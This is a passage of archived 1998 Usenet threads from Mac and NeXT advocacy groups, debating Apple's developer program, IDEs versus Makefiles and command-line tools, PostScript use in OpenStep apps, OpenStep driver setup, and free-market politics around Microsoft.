currently monolythic Linux or BSD emulators, Mk seems to be the most advanced
kernel available that's demonstratably able to run on PPC and Intel (and
Alpha too for that matter).
Maury
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 20:47:57 GMT
Organization: MiscKit Development
Message-ID: <6h5qpt$neu$3@news.xmission.com>
References: <6h43mj$fr9$1@news.digifix.com> <B15B0A02-19BCA8@207.217.155.85>
"Brad Hutchings" <brad@hutchings-software.com> wrote:
> Scott- You've been around the Apple scene for 16 months now.
Just because Scott hasn't been visible to _you_ until 16 months ago doesn't
mean he wasn't around for a long time before that. He's been a Mac developer
for longer than he's been a NeXT developer. Although that is public
knowledge, somehow people manage to constantly forget this little factoid.
(I have my theories about why this is so...)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 20:59:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jcsa9.lbp.sal@panix3.panix.com>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM>
On Thu, 16 Apr 1998 15:20:36 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
>> Lots of the top houses (including Apple itself, from what I've heard!) do
>> this on MacOS. Since 99% of your time is spent composing and debugging and
>> only 1% is spent optimizing for 99% of developers (numbers made up, but
>> likely pretty accurate), an elegant IDE is more important for just about
>> all purposes except the final build.
>IDE? Isn't that a word processor with a built-in web browser and other
>distracting windows that doesn't let you use your command-line tools and
>requires that you be running a local GUI session?
>
>Okay, but "elegant" doesn't come to mind. I've used CodeWarrior, THINK
>C, VC++, Borland C++, and a few others. To date my favorite is XEmacs
>with rxvt (running tmake, gdb, etc.)
XEmacs? Isn't that a lisp processor with a built-in web browser and other
distracting features that kind of lets you use your command-line tools, but
requires that you be running a local X session?
Before this turns into a CLI vs GUI rehash, there is no reason why an IDE
can not let you use any CLI programs you want. I use VC++ and have had no
problem intergrating it with PVCS, isql, retab and a dozen other CLI tools.
I've also seen VC++ use Imake (ported to Win32 via Cygnus's GnuWin32
toolkit). It includes a CLI compiler, linker and make tool.
One of my coworkers has it set up for Perl development. VC's IDE is pretty
close to XEmacs or any other "open" IDE in its ablity to be tweaked to
handle lots of different tools. After all, MS is using it for Fortran, Java
Visual Basic and FoxPro.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 14:07:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15BC241-71847@206.165.43.169>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jason S. <jason@jhste1.dyn.ml.org> said:
> (I won't comment on the "screwing with Makefiles" remark, except to note
> that Linux, a far better OS than anything Apple has ever released to the
> public, was built in a few years by a bunch of volunteers who were
> "screwing
> with Makefiles.")
But why should individual developers working on part-level projects, have
to do so?
----------------------------------------------------------------------
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<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 12:57:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15BB1DE-33E9B@206.165.43.169>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org>
nntp://news.primenet.com/comp.sys.next.advocacy
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Jason S. <jason@jhste1.dyn.ml.org> said:
> Brad Hutchings wrote:
>
> >That aside, Metrowerks doesn't rest on its laurels. Each release of
> >CodeWarrior is absolutely amazing to all of Metrowerks' customers.
>
> But it produces horrible code - even worse than the free and cross-
> platform
> gcc! Wouldn't you be happier with better code generation than with a
> pretty
> IDE?
Not really, for most purposes, horrible (as long as it is "correct") code
done with a good IDE is better than "good" code done with a horrible
compiler environment.
Besides, you can ensure that you keep to a genuinely standard standard and
compose and debug your code using the CodeWarrior IDE and do your final
build with something that produces faster object-code if performance is a
concern.
Lots of the top houses (including Apple itself, from what I've heard!) do
this on MacOS. Since 99% of your time is spent composing and debugging and
only 1% is spent optimizing for 99% of developers (numbers made up, but
likely pretty accurate), an elegant IDE is more important for just about
all purposes except the final build.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <35343ac4.0@193.15.242.210>
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From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 16:20:30 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3536761E.59B2@CONVEX.COM>
References: <slrn6jc21u.9i.jason@jhste1.dyn.ml.org> <B15BB1DE-33E9B@206.165.43.169> <35366814.4513@CONVEX.COM> <slrn6jcsa9.lbp.sal@panix3.panix.com>
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Salvatore Denaro wrote:
> >Okay, but "elegant" doesn't come to mind. I've used CodeWarrior, THINK
> >C, VC++, Borland C++, and a few others. To date my favorite is XEmacs
> >with rxvt (running tmake, gdb, etc.)
>
> XEmacs? Isn't that a lisp processor with a built-in web browser and other
> distracting features that kind of lets you use your command-line tools, but
> requires that you be running a local X session?
No, no web browser, you have to get GNUscape Navigator for that
(although, touche, you're partly right).
There's no such thing as a local X session. X is a client-server display
protocol.
> Before this turns into a CLI vs GUI rehash,
I don't see why it should be. I use XEmacs (a GUI code editor) to edit
code and Netscape Navigator (a GUI Web browser) to browse documentation.
> there is no reason why an IDE
> can not let you use any CLI programs you want. I use VC++ and have had no
> problem intergrating it with PVCS, isql, retab and a dozen other CLI tools.
That's interesting; by what mechanism do you access your CLI tools? I
have been trying to make Cygwin-32 work satisfactorily for me, but it's
somewhat clumsy at best in a GUI that makes no apologies to the CLI.
If I have to, basically, throw my entire GUI IDE into the background to
get at my CLI tools, the "Integrated" in IDE no longer applies, now,
does it? By contrast, my entire X session is an IDE if I so choose. No
more complaints about "that's too hard for the average user" this time,
we're talking about developers, now.
> I've also seen VC++ use Imake (ported to Win32 via Cygnus's GnuWin32
> toolkit). It includes a CLI compiler, linker and make tool.
Ah, well, you can always run Cygwin-32, of course, turning COMMAND.COM
into little more than a vehicle for the POSIX-ized GNU shell
environment. That's not really the same thing, either, and it's
certainly not elegant, to say the least...
I'll be much happier when NT-XEmacs comes out of alpha and shows more
stability. Using the existing emacs ports is a bit painful.
> One of my coworkers has it set up for Perl development. VC's IDE is pretty
> close to XEmacs or any other "open" IDE in its ablity to be tweaked to
> handle lots of different tools. After all, MS is using it for Fortran, Java
> Visual Basic and FoxPro.
Yes, I know. But I'm finding that all of the cruft and crap soldered
onto VC actually inhibits productivity. I like the minimalist++
approach, rather than the Microsoft drill-down-from-the-kitchen-sink
approach. Microsoft's "innovations" seem to me rather like spam email.
CodeWarrior is hardly different. Better, maybe, but not by much.
At any rate, if you have IDE-on-NT suggestions you'd like to share, I'm
a sponge right now. I'd love to hear them.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 16 Apr 1998 21:22:21 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6h5sqd$hnt$1@vixen.cso.uiuc.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <6h3rqf$gg8$1@
Eric Bennett (ericb@pobox.com) wrote:
:
: Perhaps, but there are still those people who teach chemistry and at the
: same time coach football and wrestling. Can you guess which task they do
: with more zeal? These people may not have come from the U of I, but they
: come from somewhere.
I agree wholeheartedly (sp??, no clue on that one) on this issue, and have
had to endure the banality of "education" under such people. My high
school has consistently won state championships in football and wrestling
over the past decade, and several of the "teachers" who also coach act in
this manner. The only reason it was allowed to exist is because the
administration had their heads up their collective asses on the issue.
Their education wasn't to fault, their responsibility to their job
is. Unfortunately, the up and ups liked to see the school's name on the
sports page, so it was allowed. U of I is much the same way. They
increased the student fees by $68 a year to cover repairs for athletic
buildings, while at the same time slashing the Library's budget.
Education pisses me off more often than not, but I think the
problem isn't necessarily with the teachers. Hence my original point.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 16 Apr 1998 21:21:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jctji.lbp.sal@panix3.panix.com>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <6h53jl$9sp$10@ironhorse.plsys.co.uk> <6h5dl2$fne$3@news01.deltanet.com>
On Thu, 16 Apr 98 17:03:57 GMT, Scott Ellsworth <scott@eviews.com> wrote:
>My understanding, which may be innaccurate, is that the $200 CD
>mailings are a new program, which will cover the needs of some of the
>former associates, IF they include all of the needed software on
>the CD mailings. This is a program they tried once before, for
>$50 less. The lack of seed software is a different issue.
IIRC, the $199 version includes system software, not just SDKs on
disk. It lacks seeds, but they needed only for "system level"
development (IMNSHO)
>Note: I still think the pricing is a bit wonky, but that is something
Wonky? It is on par with MS. And it includes more on each level than
the MS deals.
>1. We have not heard a firm assurance from Apple that Rhapsody will
>be on the CD mailings available for $200.
True. I hope they don't wait until WWDC to clear this up.
>2. Apple has already shipped a piece of software (QT Pro 3) that will
>never be on the CD mailings, if I remember the web site correctly.
Was claris works ever on the CD?
>4. Apple unilaterally changed the agreement for developers in mid
>subscription, and took away benefits with clear value. They claim
Yeah, this sucked pretty bad. I lost a chance to buy a G3 at a nice
discount. I would have perfered that they grandfather us in for the rest
of the subscription.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Thu, 16 Apr 1998 16:22:59 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <353676B3.3C11@CONVEX.COM>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org> <B15BC241-71847@206.165.43.169>
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Lawson English wrote:
>
> Jason S. <jason@jhste1.dyn.ml.org> said:
>
> > (I won't comment on the "screwing with Makefiles" remark, except to note
> > that Linux, a far better OS than anything Apple has ever released to the
> > public, was built in a few years by a bunch of volunteers who were
> > "screwing
> > with Makefiles.")
>
> But why should individual developers working on part-level projects, have
> to do so?
I'm not certain I understand the distinction you're making. If the
question is "why should I use make?", then the answer is "because make
is a language designed to allow developers to dictate how their projects
are built". If you use an IDE, your project is basically going to be
built according to how the IDE defines the process.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 16 Apr 1998 21:32:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6jcu7s.lbp.sal@panix3.panix.com>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147> <6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul>
On 16 Apr 1998 18:10:46 GMT, NeXT Newbie <macghod@concentric.net> wrote:
>> But you've already been told:
>> "Raymond was not a member of any Apple developer programs while working
>on
>> Stuffit."
>> [Andrew Welch, <andrew-1104980043110001@lgm.com>]
>> so clearly this was not a major impediment...
>True, its not a horrible impediment, its only a minor impediment.
>But with people leaving the mac every day because of lack of software, why
>should Apple
>put up a minor impediment for its developers???
I don't think the lack of seeds is *any* impediment to active development
of Applications.
>2) developers were affected by hobbyists in the program, apple made a nice
>profit from everyone in the program.
This is just speculation. Do you know how much it cost to run the program?
Or how many people paid $250 to join?
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 16 Apr 1998 21:28:40 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6h5t68$3mb@shelob.afs.com>
References: <SCOTT.98Apr15232615@slave.doubleu.com>
Scott Hess writes
> Draw is a object drawing program. If a drawing program only needs %.5
> PS code to run under OpenStep, imagine how much a non-drawing program
> will need! Better get that Red Book, eh?
In the past, I have posted similar statistics for PasteUp (page layout)
and WriteUp (word processor). Some people just don't want to believe.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Robert Forsyth <bobbyf@forsee.tcp.co.uk>
Newsgroups: comp.soft-sys.nextstep,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.misc
Subject: Re: help with OS and configuring
Date: Thu, 16 Apr 1998 22:01:50 +0100
Organization: Total Connectivity Providers - Maximising the Internet
Message-ID: <353671BE.1464FBC3@forsee.tcp.co.uk>
References: <01bd6662$376a8d80$43f0bfa8@davidsul>
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There is something call 'dots' that will print (PS) on inkjets for
Nextstep/Openstep.
I am fairly sure Openstep can not use your 3D graphics card (not the 3d
bit). If your video card is PCI, Configure.app will find it if it has a
.config bundle/driver that supports it.
If you start Openstep in verbose mode (-v to the boot: prompt) or in
/usr/adm/messages you will see a list of PCI devices Openstep was able
to find. If you do not know what chipset your video card uses, you/we
may be able to work it out from the PCI vendor/device id, in the above
list.
NeXT Newbie wrote:
>
> My pc has a jaton 3d iimage card, I selected generic trident for the
> monitor, and now Openstep 4.2 only works in black and white, and when it
> starts up it says "trident pci adapter not found". When the bios first
> starts up it says trident 3d image 975.
>
> Also, does a epson inkjet printer work with openstep?
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 16:35:37 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-1604981635370001@130.130.117.53>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <geordie-1604981258310001@130.130.117.53> <35365564.6C61@CONVEX.COM>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <35365564.6C61@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
:Don't complain to me when your metaphorical airplane proclaims "We have
:buried the putrid corpse of liberty!" (can someone name the quoted?). To
:me, the laws of physics allow for more vehicular movement than just
:airplanes.
At least the trains ran on time. I don't think there was much civilian air
travel at the time.
:Your statement is like saying that the only way to fly coast to coast is
:via airplane. ^^^
Unless you are bird brained it is the only way I know of to *fly*. ;-)
My point though is that the laws are meaningless unless enforced by some
agency. Without some implementation I would argue that they do not even
exist. I am not saying that pure free market economic models are not
useful. Physics models that ignore friction are also useful. Neither of
them however should be confused with reality. For the most part laws are
designed to be enforced in order to create a state that best approximates
the intentions of the society that makes them. When this does not happen
then the thing to do is not to say that government's are bad but that they
are not fufilling their design.
The problem with pure laisez-faire economics is that it assumes that an
organization whose board is elected by the small section of the populace
that are its shareholders is more likely to puruse the common good than a
freely elected representational government. The question is not whether
the government is inefficent and its regualtions overly burdensome. I
would whole heartly agree to that. The question is whether it is better to
be governed by the monopoly of Microsoft or the monopoly of a national
government. If you want to make a case that it is possible to have a
system that does not create some form of a monopoly then I am willing to
listen to your arguments but the fact that it has never occured in the
history of western civilization is strong evidence to the contrary.
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr15231250@slave.doubleu.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu>
<j-jahnke-0704982342480001@192.168.1.3>
<352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com>
<gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net>
<6ggmk2$jdl$1@news.digifix.com> <352D4957.84AE1890@alexa.com>
<SCOTT.98Apr10103112@slave.doubleu.com>
<3533D6C7.95AECD96@milestonerdl.com> <6h0b4v$h5v$3@ns3.vrx.net>
<3534C720.3BACAC4@milestonerdl.com>
In-reply-to: M Rassbach's message of Wed, 15 Apr 1998 09:41:36 -0500
Date: 16 Apr 98 20:34:12 GMT
In article <3534C720.3BACAC4@milestonerdl.com>,
M Rassbach <mark@milestonerdl.com> writes:
But if you are thinking of jumping on the Rhapsody bandwagon, look
at how Apple treated the Newton Developers and ask yourself if you
want to be treated that way.
Didn't this start when you took issue with my suggestion that GNUStep
isn't really an alternative to Rhapsody in many very fundamental ways?
Well, then, what do you think the odds are on GNUStep if Rhapsody
_doesn't_ ship, or Apple kills it off? There are a lot of orphan GUI
toolkits out there. For better or worse, Rhapsody is the center of
the OpenStep universe. If Rhapsody does well, GNUStep will do
alright. If Rhapsody digs a hole, GNUStep won't be far behind.
[Actually, if Rhapsody digs a hole, I'd have to question the point of
making an OpenStep compliant library. I'd take the good things, and
start off in my own direction, rather than slavishly making the same
mistakes.]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Apr15232615@slave.doubleu.com>
References: <6h0114$bnb$2@ns3.vrx.net> <B1598B35-5BAB4@206.165.43.216>
<3534431D.AD9C2AA6@trilithon.com>
In-reply-to: Henry McGilton's message of Tue, 14 Apr 1998 22:18:21 -0700
Date: 16 Apr 98 20:34:13 GMT
In article <3534431D.AD9C2AA6@trilithon.com>,
Henry McGilton <henry@trilithon.com> writes:
Lawson English wrote:
* Other people program using DPS
very few people "program using DPS". This is one of the standard
items of mythology promulgated by the anti-OpenStep faction. The
amount of *PostScript* programming necessary in any run-of-the-mill
OpenStep application is down around the one percent region. I
posted a long letter to this effect to one of the UNIX rags a few
years back (trying to rebut the dissemination of FUD at the time)
and they refused to publish it. I will attempt to dig up the
statistics I gathered at the time that demonstrated how little
*PostScript* programming is required in OpenStep applications.
Well, some quick stats:
Objc/C code PSwrap code
Stuart 26klines 26 lines
TickleServices 22klines 0 lines
<private> 75klines 16 lines
By the way, the last is what I'm currently working on for a client,
and about 20klines of it is in essence a custom version of an
Edit-level word processor. [Put another way, it's not leveraging the
Text object, it's doing the font and line layout from the ground up.
Didn't use the Text object because there's still need for a Windows3.1
version of the UI.]
Of course, there's another good indicator:
Objc/C code PSwrap code
Draw 15klines 75 lines
Draw is a object drawing program. If a drawing program only needs %.5
PS code to run under OpenStep, imagine how much a non-drawing program
will need! Better get that Red Book, eh?
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 17:57:02 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35368CBE.7563@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5> <35351E80.1BB@CONVEX.COM> <geordie-1604981258310001@130.130.117.53> <35365564.6C61@CONVEX.COM> <geordie-1604981635370001@130.130.117.53>
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Geordie Korper wrote:
> :Your statement is like saying that the only way to fly coast to coast is
> :via airplane. ^^^
>
> Unless you are bird brained it is the only way I know of to *fly*. ;-)
Here in Dallas we have many contraptions the local engineers call
"helicopters", and it is rumored that many people have been making
flights in lighter-than-air ships, although I don't believe them. One
person even claims that men have been to the moon in an explosive
vessel, although the absurdity of this should be obvious.
> My point though is that the laws are meaningless unless enforced by some
> agency.
A law-enforcement agency. This does not imply legislative power, nor
even judicial power. Very well, a private police company. Or, even, a
bodyguard. How is that?
> Without some implementation I would argue that they do not even
> exist.
They exist wherever they are upheld. If their basis is liberty, all
liberty-seeking citizens will participate in their enforcement. If their
basis is oppression and manipulation, there will undoubtedly need to be
a police state so that officials can truly say, as governments must, "Do
as we say or we will send men with guns to haul you away to prison."
As they did with the 120,000 Japanese-Americans sent to prison camps
during World War II. By the way, which law were they upholding?
I have an answer for that: none. It was a clear violation of the Bill of
Rights, but your precious government was the perpetrator: the President
ordered it, Congress approved it, and the Supreme Court upheld it.
I would argue that when the laws are "upheld" by a government composed
of criminals, *that* is when the laws do not exist.
> I am not saying that pure free market economic models are not
> useful. Physics models that ignore friction are also useful. Neither of
> them however should be confused with reality.
The idea that free-market economics should have a basis in reality is
terrifying, if you are a believer in the principle that expedience is
more important than liberty.
Unfortunately for those people, socialism, Keynesianism, and monetarism
have all been tried and proven as failures. Austrian economics are the
only recourse at this point, and the powermonging that has denied the
reality of free-market economics must eventually give way to liberty.
> For the most part laws are
> designed to be enforced in order to create a state that best approximates
> the intentions of the society that makes them.
Sorry, in my book laws are designed to preserve liberty. Again:
expedience versus liberty. Your rule of best-good approximation cannot
be compatible with liberty, period. There is no fundamental difference
between the politics you espouse and the politics of Benito Mussolini
(who is responsible for the quote in my previous post).
> When this does not happen
> then the thing to do is not to say that government's are bad but that they
> are not fufilling their design.
Curious that you should say so. In fact, when governments oppress their
subjects they are operating *precisely* according to their design. The
fundamental mode of government is encroachment. There is no other mode.
> The problem with pure laisez-faire economics is that it assumes that an
> organization whose board is elected by the small section of the populace
> that are its shareholders is more likely to puruse the common good than a
> freely elected representational government.
False.
> The question is not whether
> the government is inefficent and its regualtions overly burdensome. I
> would whole heartly agree to that.
I just read someone who said that almost everyone agrees that government
is bloated and that it enacts many bad laws; that's not the question.
When I read that, I wondered whether it were really true (that nearly
everyone believes that). I suppose it is...
> The question is whether it is better to
> be governed by the monopoly of Microsoft or the monopoly of a national
> government.
Time for a little more education: there is a difference between
influence and power.
Influence is what Microsoft has: it influences its customers, its
partners, its employees, and everything else associated with it.
Microsoft has a lot of influence, and as a result it is a very important
company. You may not like Microsoft and its influence, but there is a
key fact you must always remember: Microsoft cannot influence you if you
do not choose to participate in what Microsoft is selling.
Power is another thing entirely. Power consists of the ability to back
up decisions with brute force. No organization on the planet besides the
government has the ability to tell you what to do with the threat of
force behind it. Microsoft cannot tell you to purchase its services or
be carried off to prison.
For almost the past two years I have refused to participate in
Microsoft's sphere of influence. I saw no benefit, and on my own
decisions have pursued employment and leisure opportunities which do not
require my participation in Microsoft's influential schemes, because I
do not like them.
I do not have the option of refusing to participate in taxation. I do
not have the option of refusing to participate in the Selective Service.
I do not have the option of refusing to participate in environmental
statutes. I do not have the option of refusing to participate in
drinking laws or curfews.
Until you recognize the fundamental difference between influence and
Power, you will not understand why it is that government restricts
Liberty, while Microsoft does not. Nor will you understand what it
fundamentally means for government to intervene in the free market.
> If you want to make a case that it is possible to have a
> system that does not create some form of a monopoly then I am willing to
> listen to your arguments but the fact that it has never occured in the
> history of western civilization is strong evidence to the contrary.
I do not argue with monopolies; to me they do not exist. "Monopoly", in
modern parlance, is taken to represent some sort of Power. I know of no
free-market that has ever spawned such a beast. Market-spanning
influence, however, is another thing, a natural phenomenon that can be
observed dispassionately and even celebrated, on occasion (what is
fundamentally different between Windows and ISO 9000? That you support
one and not the other? The very basis of fascism). However, nobody is
required to participate with *influential* entities; government is the
only entity with the power to compel you to obey.
If that doesn't frighten you, I am sorry because it means that your vote
is cast in opposition to Liberty, and that affects me. The more the
public clamors for oppressive government action, the more delightedly
the government (which is already heartily disposed toward such action)
will execute the self-destructive commands of its people.
MJP
--
BEFORE YOU REPLY TO THIS MESSAGE, PLEASE PREPEND 'MJP' TO THE ADDRESS
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Thu, 16 Apr 1998 18:07:36 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35368F38.225D@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <hy5Y.828$ME2.4337233@news.itd.umich.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <slrn6j7e55.rtr.mbkennel@lyapunov.ucsd.edu> <3533C026.45F2@CONVEX.COM> <slrn6j9t9q.23.mbkennel@lyapunov.ucsd.edu>
Mime-Version: 1.0
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Matt Kennel wrote:
>
> On Tue, 14 Apr 1998 14:59:34 -0500, Michael Peck <ECK@CONVEX.COM> wrote:
> :Systems matter. Details matter, too, but I suspect that by using
> :"details" you are trying to rationalize the application of situational
> :ethics to what is a systematic proposition.
>
> Yes. Systematic propositions aren't always true.
In this case the proposition is true. Why are we dickering about this?
> What is the motivation behind the laws? A whole bunch of short-term
> circumstances, usually. Enforcing laws also intrinsically means examining
> short-term circumstances.
Wrong. Short-term circumstance as a basis for legislation is tantamount
to situational ethics, and directly counter to a principle-based
approach. It may be popular, but it's not correct.
Why don't I mention an example of what I mean off of the top of my head.
Like, oh, the United States Constitution. A principle-based approach to
the enumerated powers of government and the establishment of a *system*,
not a free-for-all of legislative convenience. To do otherwise would
mirror the woes of Italy (and India, as Arun has already suggested), who
has been through more constitutions than I can remember. Does anyone
know? I think it numbers somewhere in the hundreds.
> :Surely you're familiar with Chaos theory, or even elementary biology?
>
> Well yes, I'm a physicist working on nonlinear dynamics.
Good, good.
> :The ripple effects of unilateral intervention in a homeostatic system?
>
> Homeostatic what? Who says markets are ''homeostatic''?
I'll make a deal with you: if I start inventing words, I'll let you know
and you can feel free to ask me for definitions.
In the meantime, I invite you to consult a dictionary; I assume you have
one. If not, we can probably make different arrangements.
>From Webster's Collegiate Dictionary, Third Edition:
"Homeostasis: a relatively stable state of equilibrium or a tendency
toward such a state between different but interdependent elements or
groups of elements of an organism, population, or group."
*I* say *free* markets are homeostatic.
> :Fortunately, the negative feedback responses inherent in the free-market
> :system strongly favor balance, but it's clear from history that for at
> :least as long as government directly intervenes in the private sector,
> :the negative consequences outweigh the positive effects of the
> :intervention, as proven from the fact that a *superior* balance is
> :acheived shortly *after* regulatory powers are removed. Look at
> :telephone and utility deregulation in the U.S., Canada, and UK.
>
> What counts as "directly"? Feedback is feedback, and markets are just
> market dynamics; they do what they do. It's not a priori axiomatic that such
> feedback is always stabilizing, or that stabilizing is good, or that the net
> effect of market dynamics leads to global social optima.
Er, feedback is feedback? I don't remember when I was originally
introduced to the concepts of "positive feedback" and "negative
feedback"; I think it must have been early high school biology. The
concepts refer to the inherent response of an overall system to
pressures and circumstances favoring one direction or another *away*
from perfect balance. Positive feedback reinforces the pressure,
negative feedback stabilizes toward balance.
I say that free markets are replete with negative feedback mechanisms.
These mechanisms are the fundament beneath the overall stability of free
markets. I don't need to prove these mechanisms here; your Econ 101 or
Macroeconomics courses probably already demonstrated them to you.
The larger question you raise I take to be something akin to "Yes, but
who can say what is the nature of the balance itself, and whether it is
good?" My answer is that the balance is unrestricted competition, and
that yes, it is good. History bears this out undeniably.
> That notion has a
